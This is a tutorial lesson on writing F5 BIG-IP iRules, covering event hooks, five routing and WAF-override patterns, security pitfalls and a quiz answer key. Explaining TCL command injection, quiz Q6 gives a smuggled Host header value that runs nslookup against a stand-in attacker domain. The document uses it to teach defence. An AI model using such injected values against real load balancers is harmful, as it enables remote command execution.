TTechclick All lessons
F5 Β· BIG-IP LTM + ASM Β· iRules

F5 BIG-IP iRules: From Zero to Production-Grade

iRules without the marketing fluff. The TCL events that fire when, the 10 patterns you'll write in a real F5 admin job, ASM/WAF integration, the security pitfalls that will get you on a CVE feed, and the exact topics F5 301a and 301b interviewers love to grill you on.

πŸ“… 2026-05-24Β· ⏱ 15 min readΒ· 🏷 10-question assessment included
🎯 By the end of this lesson, you'll be able to

The Mumbai dabbawala β€” a routing problem you already understand

Every weekday morning, 5,000 dabbawalas pick up 200,000 home-cooked lunches from Mumbai suburbs and deliver each one to the right office desk by 12:30 PM β€” with an error rate Forbes once measured at one mistake per 16 million deliveries. The secret is a coloured-and-lettered tag on every tiffin. At Dadar station, a sorter reads the tag, looks at three things (zone, building, floor), and tosses each tiffin into the right cart in under two seconds. No central database. No barcode scanner. Just rules in the sorter's head.

An F5 iRule is that sorter. The BIG-IP is Dadar station. Every TCP connection and every HTTP request is a tiffin. The iRule reads the headers (the tag), checks a few rules, and decides where the request goes. That's it. The whole thing rests on a 30-year-old scripting language called TCL, embedded in F5's Traffic Management Microkernel (TMM).

Why this matters β€” and what an interviewer will ask

If you are interviewing for an F5 admin or NetOps engineer role, the question is almost guaranteed: "write an iRule that redirects all HTTP traffic to HTTPS, except for the /healthcheck path." It's a 4-line answer. Get it wrong and the panel knows you've never logged into an F5 in production. Get it right and you've separated yourself from the candidates who only memorised what an iRule "is."

The bigger reason it matters: real applications grow weird requirements that the GUI can't express. "Send users from Bengaluru DC to pool-A, except in business hours, except if their User-Agent says they're on iOS, except if the URI contains /api/v2." The GUI runs out of checkboxes; the iRule never does. iRules are how F5 admins ship business logic at the load balancer instead of waiting six weeks for the application team to release.

!The career trap with iRules

iRules are powerful, which is exactly why teams overuse them. A 200-line iRule that no one but the original author understands becomes the load-balancer equivalent of legacy stored procedures β€” every change risks an outage. F5 has been steering customers toward LTM Policies (GUI-driven, declarative) and AS3 (Application Services 3.0 β€” JSON-defined, version-controlled) since 2022. Treat iRules as a sharp tool: use them when nothing else fits, document them like production code, and migrate to AS3 when the use case matures. The 2026 F5 official guidance is clear β€” legacy iApps templates are deprecated and AS3 is the replacement.

What an iRule actually is β€” the structure

Every iRule is event-driven. It does nothing until a specified network event fires on a Virtual Server, and then it runs a small TCL block. The basic shape is always the same:

Anatomy of an iRule
when EVENT_NAME {
    # TCL code that runs when EVENT_NAME fires on this Virtual Server
    if { [HTTP::host] equals "shop.infosys.local" } {
        pool pool_shop_app
    } else {
        pool pool_default
    }
}

There are over 50 events, but six of them cover ~90% of real production iRules. Memorise these β€” they show up on F5 301a, F5 301b, and every F5 admin interview.

EventWhen it firesMost common use
RULE_INITOnce, when the iRule is loaded or modifiedInitialise global variables / static tables
CLIENT_ACCEPTEDTCP connection established from client to VIPSource-IP allowlist, geo-block
HTTP_REQUESTEvery HTTP request receivedPool selection, redirect, header rewrite
LB_SELECTEDAfter the load balancer picks a pool memberPersistence override, member logging
HTTP_RESPONSEEvery HTTP response from pool memberResponse header rewrite, body inspection
ASM_REQUEST_BLOCKINGASM is about to block a requestOverride block for trusted partner, custom log
SVG 1 β€” Where iRules sit in the BIG-IP packet flow
A client request enters the BIG-IP VIP, triggers CLIENT_ACCEPTED, then HTTP_REQUEST. The iRule inspects, picks a pool, LB_SELECTED fires after a pool member is chosen, and the request is forwarded. The response triggers HTTP_RESPONSE on the way back. Client Sneha's browser BIG-IP LTM Β· Virtual Server 10.42.50.100:443 CLIENT_ACCEPTED source IP / geo check HTTP_REQUEST pool / redirect / rewrite LB_SELECTED log chosen member HTTP_RESPONSE rewrite Server header Pool A 10.42.60.10:8443 Pool B 10.42.60.11:8443 A request's life inside the BIG-IP Solid = client β†’ pool Β· Dashed = pool β†’ client (response path)

Each event is a hook where your iRule can run. You don't need to handle every event β€” only the ones where you want to change behaviour.

πŸ‘©β€πŸ’» Scenario β€” Sneha at Infosys Bengaluru

Sneha's app team says "users on the shop site get 502 errors but only between 2-4pm." The dev team blames the LB. Sneha drops a one-line iRule in HTTP_REQUEST that logs [HTTP::host], [IP::client_addr], and the chosen pool member to a remote syslog. Within 30 minutes the data tells her one pool member is brown-listed by an upstream API gateway. The fix takes 5 minutes. The iRule was the diagnosis tool, not the fix.

The 5 iRule patterns you'll write in your first F5 job

Pattern 1 β€” HTTP-to-HTTPS redirect (with healthcheck exception)

irule_redirect_http_to_https
when HTTP_REQUEST {
    if { [HTTP::uri] starts_with "/healthcheck" } {
        return
    }
    HTTP::redirect "https://[HTTP::host][HTTP::uri]"
}

Attach this to an HTTP (port 80) Virtual Server. Every request gets a 302 to the HTTPS equivalent, except /healthcheck which the upstream load balancer or monitoring system needs to hit on HTTP.

Pattern 2 β€” Header-based pool selection

irule_pool_by_host
when HTTP_REQUEST {
    switch -glob [string tolower [HTTP::host]] {
        "shop.infosys.local"     { pool pool_shop_app }
        "api.infosys.local"      { pool pool_api_v2 }
        "internal.*.infosys.local" { pool pool_internal_apps }
        default                  { pool pool_default }
    }
}

One Virtual Server hosts many internal hostnames. The iRule reads the Host header and routes to the right pool. string tolower protects against case-mismatch bugs.

Pattern 3 β€” Rate-limit by client IP (sideband-free version)

irule_rate_limit_per_ip
when RULE_INIT {
    set ::RATE_LIMIT 60        ;# requests per minute
    set ::WINDOW    60          ;# seconds
}
when HTTP_REQUEST {
    set client [IP::client_addr]
    set key "rl_$client"
    set count [table incr -subtable rate_limit $key]
    if { $count == 1 } {
        table lifetime -subtable rate_limit $key $::WINDOW
    }
    if { $count > $::RATE_LIMIT } {
        HTTP::respond 429 content "Slow down" "Retry-After" "60"
        return
    }
}

Uses BIG-IP's built-in table command (per-TMM, in-memory). Sneha's L1 mistake would be storing rate counts in a TCL variable β€” those don't survive between requests. table does.

Pattern 4 β€” ASM block override for a trusted partner

irule_asm_partner_override
when ASM_REQUEST_BLOCKING {
    set src [IP::client_addr]
    if { [class match $src equals trusted_partner_ips] } {
        ASM::unblock
        log local0. "ASM block overridden for trusted partner $src on [HTTP::uri]"
    }
}

Real production case from F5 DevCentral: a business partner's automated scraper triggers ASM signatures with malformed-but-benign requests. Whitelisting the policy is risky; an iRule that overrides ONLY for the partner's source IPs (defined in an LTM Data Group called trusted_partner_ips) is the surgical answer.

Pattern 5 β€” Maintenance page during deploy windows

irule_maintenance_page
when HTTP_REQUEST {
    if { [class match [IP::client_addr] equals admin_bypass_ips] } { return }
    if { [active_members pool_app] < 1 } {
        HTTP::respond 503 \
            content "<h1>Maintenance β€” back in 15 minutes</h1>" \
            "Content-Type" "text/html" "Retry-After" "900"
    }
}

If every pool member is down (deploy in progress), serve a branded maintenance page. Admins on bypass IPs skip the check and see the real (broken) app for troubleshooting.

βœ“Verifying an iRule is attached + firing
# From BIG-IP tmsh
tmsh list ltm virtual vs_shop rules
# Expected: rules { irule_pool_by_host }

# Live trace what's firing per request
tmsh modify ltm virtual vs_shop ip-protocol tcp rules { irule_pool_by_host }
tcpdump -nni 0.0:nnnp -s0 -w /shared/tmp/vs.pcap host 10.42.10.55 &
# Then check the log:
tail -f /var/log/ltm | grep -i irule

ASM integration β€” when iRules meet WAF

BIG-IP ASM (now branded "BIG-IP Advanced WAF") inspects requests for OWASP-style attacks. ASM has its own iRule events that fire at the WAF decision points β€” useful when the policy alone is too coarse.

ASM eventWhen it firesYou'd use it to…
ASM_REQUEST_BLOCKINGASM has decided to block and is generating the reject responseOverride block for trusted source (Pattern 4)
ASM_REQUEST_DONEASM has finished processing the requestLog the violation set for SIEM
ASM_REQUEST_VIOLATIONASM detected a policy violation (but may not block)Increment custom risk counter
ASM_RESPONSE_VIOLATIONASM detected a response-side violation (data leakage)Mask sensitive fields in response body
SVG 2 β€” iRule + ASM decision sequence
The request fires CLIENT_ACCEPTED, then HTTP_REQUEST, then ASM evaluates against the policy. If a violation is detected, ASM_REQUEST_VIOLATION fires. If ASM decides to block, ASM_REQUEST_BLOCKING fires last, where an iRule can override. CLIENT_ ACCEPTED src IP / geo HTTP_ REQUEST your custom iRule ASM policy eval signatures, attacks ASM_REQUEST_ VIOLATION (if any) ASM_REQUEST_ BLOCKING iRule can override Event order β€” LTM iRule first, then ASM Common mistake: putting ASM::unblock inside HTTP_REQUEST instead of ASM_REQUEST_BLOCKING β€” too early, ASM hasn't decided yet.

Always override at ASM_REQUEST_BLOCKING β€” that's the last point before ASM rejects the request. Earlier events run before ASM has decided.

πŸ‘¨β€πŸ’» Scenario β€” Rahul at TCS Mumbai

Rahul's WAF blocks a Flipkart partner's price-feed scraper every hour because the scraper sends a malformed Content-Length header. Removing the ASM signature is too broad β€” it would let real attackers through too. Rahul writes a Pattern-4-style iRule that calls ASM::unblock only when source IP is in data_group flipkart_partner_ips. Partner unblocked; everyone else still protected.

The 3 security pitfalls that get iRules onto CVE feeds

  1. Double substitution. If user input ends up inside [expr] or [eval] without quoting, you've handed the attacker TCL command execution on the BIG-IP. F-Secure published a famous 2019 paper called "Crash, Reboot, Exploit" on this exact pattern. Always wrap dynamic strings in { … } braces β€” braces suppress substitution.
  2. Unsanitised node or sideband commands. node $user_input_ip 8080 lets an attacker steer load-balancing toward any IP they want, bypassing the pool entirely. Sanitise β€” or use a Data Group allowlist.
  3. Logging client input to local syslog. A 200-character User-Agent string Γ— 50,000 RPS Γ— log local0. = local TMM disk full in minutes. Ship logs to a dedicated remote syslog (HSL β€” High-Speed Logging) instead.
!Common mistakes (and the symptoms you'll see)
β˜…Pro tips
πŸ‘¨β€πŸ’» Scenario β€” Aditya at HCL Lucknow

Aditya's iRule rate-limit (Pattern 3) works perfectly in his lab F5 β€” but on the HA pair in production, half the requests get through the limit because each TMM blade keeps its own counter. The fix is either using a single-blade-aware approach (CMP β€” Clustered Multi-Processing demotion via CMP::disable on that iRule, but at a performance cost), or moving the rate-limit to an upstream layer (CDN, AS3 WAF policy). Senior move: tell the app team and move the control. Junior move: add a comment in the iRule saying "limits are approximate per-TMM" and walk away.

When to use iRule vs LTM Policy vs AS3

SVG 3 β€” Decision matrix for traffic logic on F5
Three-column matrix comparing programmability, declarative-ness, performance, versioning, and recommended use cases for iRule, LTM Policy, and AS3. iRule (TCL) LTM Policy (GUI) AS3 (JSON Β· 2026 path) PROGRAMMABILITY Unlimited β€” full TCL Conditional only Declarative + AS3 schema AUDITABILITY Low β€” code review needed Medium β€” GUI diff High β€” Git-versioned JSON WHEN TO USE Edge cases the GUI cannot express. One-off. Simple H_REQUEST conditions (host / URI) Anything repeated. CI/CD pipelines. F5 2026 GUIDANCE Supported. Use sparingly. Supported. Recommended path forward.

Rule of thumb: if you'd repeat the same iRule across 5+ Virtual Servers, it belongs in AS3. If it's a one-off business hack, an iRule is correct.

πŸ‘©β€πŸ’» Scenario β€” Priya at Wipro Pune

Priya's team has 32 Virtual Servers that all share the same HTTP-to-HTTPS redirect iRule (Pattern 1). Every patch window someone forgets to attach the iRule on a new VS and gets a P1. She rewrites the rule as an AS3 declaration with a reusable redirect-pointer; now 32 VSes inherit it from one JSON file in Git. The iRule's last commit becomes "deprecated β€” see AS3-redirect.json."

Mapping to the F5 301a / 301b exam

πŸ“‹ Quick reference β€” F5 iRules cheat sheet

Need to…Use
Redirect HTTP→HTTPSHTTP::redirect "https://[HTTP::host][HTTP::uri]"
Pick a poolpool pool_name
Block a request inlineHTTP::respond 403 content "Blocked"
Add a request headerHTTP::header insert "X-Forwarded-Real" [IP::client_addr]
Read source IP[IP::client_addr]
Read host[HTTP::host]
Stateful counterstable set / table incr / table lookup
Log to remote syslogHSL::send $hsl_handle "msg" (after HSL::open in RULE_INIT)
Override ASM blockwhen ASM_REQUEST_BLOCKING { ASM::unblock }
Profile performancetiming on at the top of the iRule

Sources used in this lesson

  1. F5 official techdocs β€” Introduction to iRules
  2. DevCentral β€” Top 5 iRule development practices
  3. DevCentral β€” Intermediate iRules: evaluating performance (timing on)
  4. DevCentral β€” Avoiding common iRules security pitfalls (double substitution, sideband)
  5. F5 Agility Labs β€” ASM hooks lab
  6. F5 K000160932 β€” May 2026 Quarterly Security Notification
  7. F5 301a study guide β€” iRules exam topics
  8. TesTcl β€” unit testing framework for iRules

πŸ“ Check your understanding β€” 10 scenario questions

Bloom-tiered mix: 1 Remember + 3 Apply + 4 Analyze + 2 Evaluate. Pass: 70% (7/10).

Q1Remember

Which scripting language do F5 iRules use?

Correct: c. iRules are TCL. F5 chose TCL in the early 2000s because it was lightweight and easy to embed in TMM. iRules LX (a separate feature) does support Node, but classic iRules are TCL only.
Q2Apply

Sneha needs an iRule that sends every request to pool_api_v2 only when the URI starts with /api/v2; otherwise pool_web. Which is correct?

Correct: b. HTTP attributes are only available after the request is parsed β€” that happens in HTTP_REQUEST, not CLIENT_ACCEPTED. (c) fires AFTER pool selection β€” too late. (d) RULE_INIT runs once at load, not per request.
Q3Apply

Priya at Wipro wants to log every blocked ASM request to a remote syslog before the response goes back. Which event should she use?

Correct: b. ASM_REQUEST_DONE fires AFTER ASM finishes processing β€” so all violation flags and the block decision are populated and ready to log. HTTP_REQUEST is too early. LB_SELECTED and SERVER_CONNECTED don't fire on blocked requests.
Q4Apply

Rahul writes Pattern 3 (rate-limit) but counter always shows 1. What's wrong?

Correct: c. Every iRule invocation gets a fresh TCL interpreter context. Per-request variables die at end-of-request. State that must persist between requests goes in the table command (in-memory, per-TMM) or external storage. Classic L1β†’L2 lesson.
Q5Analyze

Karthik's app team reports the entire VIP latency P99 spiked from 8ms to 850ms after he attached a new iRule. timing on shows HTTP_RESPONSE is consuming 99% of cycles. Most likely cause?

Correct: a. Body regex without HTTP::collect + a length cap = TMM scans the entire response on every request. Replace with content-length-bounded collect, or move the regex to a smaller targeted field. (d) is silly. (b)/(c) wouldn't show as iRule-CPU.
Q6Analyze

Aditya's iRule runs eval "set host [HTTP::header Host]". F-Secure's red team flags this as a "Crash, Reboot, Exploit" pattern. Why?

Correct: a. Untrusted input ending up inside an eval / expr / unquoted substitution = TCL command injection. Attacker sets Host: x; nslookup attacker.com; # and the BIG-IP runs it. Always wrap dynamic strings in braces { … } or quote them.
Q7Analyze

Sneha attached irule_pool_by_host to vs_shop but log says iRule never fires for any host. tmsh list ltm virtual vs_shop shows the rule is attached. What's the most likely root cause?

Correct: a. HTTP_* events require an HTTP profile on the Virtual Server. Without it, BIG-IP treats traffic as raw TCP and the parser never extracts HTTP attributes, so the iRule has nothing to trigger on. Classic "iRule attached but silent" diagnosis.
Q8Analyze

Rahul's HA pair has 4 TMM blades. His rate-limit iRule (Pattern 3) lets ~4x the intended rate through. Why?

Correct: a. CMP β€” Clustered Multi-Processing β€” splits the connection load across TMM blades. table is local to each TMM. Workarounds: CMP::disable on the iRule (costs performance), or move rate-limiting to a single-point upstream (CDN, edge WAF).
Q9Evaluate

Priya's team has 32 Virtual Servers all using the same HTTP→HTTPS redirect iRule. Every new VS deploy risks someone forgetting to attach the iRule. What's the right architectural fix?

Correct: b. Repeated iRule = AS3 candidate. JSON-defined, Git-versioned, audited, applied via the AS3 declarative API. (a) creates 32x the maintenance pain. (c) is a monitor on top of broken architecture. (d) breaks legitimate clients that need port 80 to receive the redirect.
Q10Evaluate

F5 301b interviewer asks: "you're handed a 400-line iRule from a senior who left the company. The app it serves is critical. What's your first move?"

Correct: b. Senior engineering move: understand before you change. A 400-line iRule on a critical app is almost certainly load-bearing in ways the previous author understood and the docs don't. Lab clone + log + measure first; refactor in versioned phases with rollback. (a) is naive. (c) and (d) are how outages happen.
Lesson complete β€” saved to your profile.
Almost! Review the patterns + ASM section and try again β€” you need 70% (7 of 10).

What's next?

Now build it β€” spin up an F5 BIG-IP VE lab and write Patterns 1-5 hands-on. Then practice the 301a/301b style scenarios on exam.techclick.in.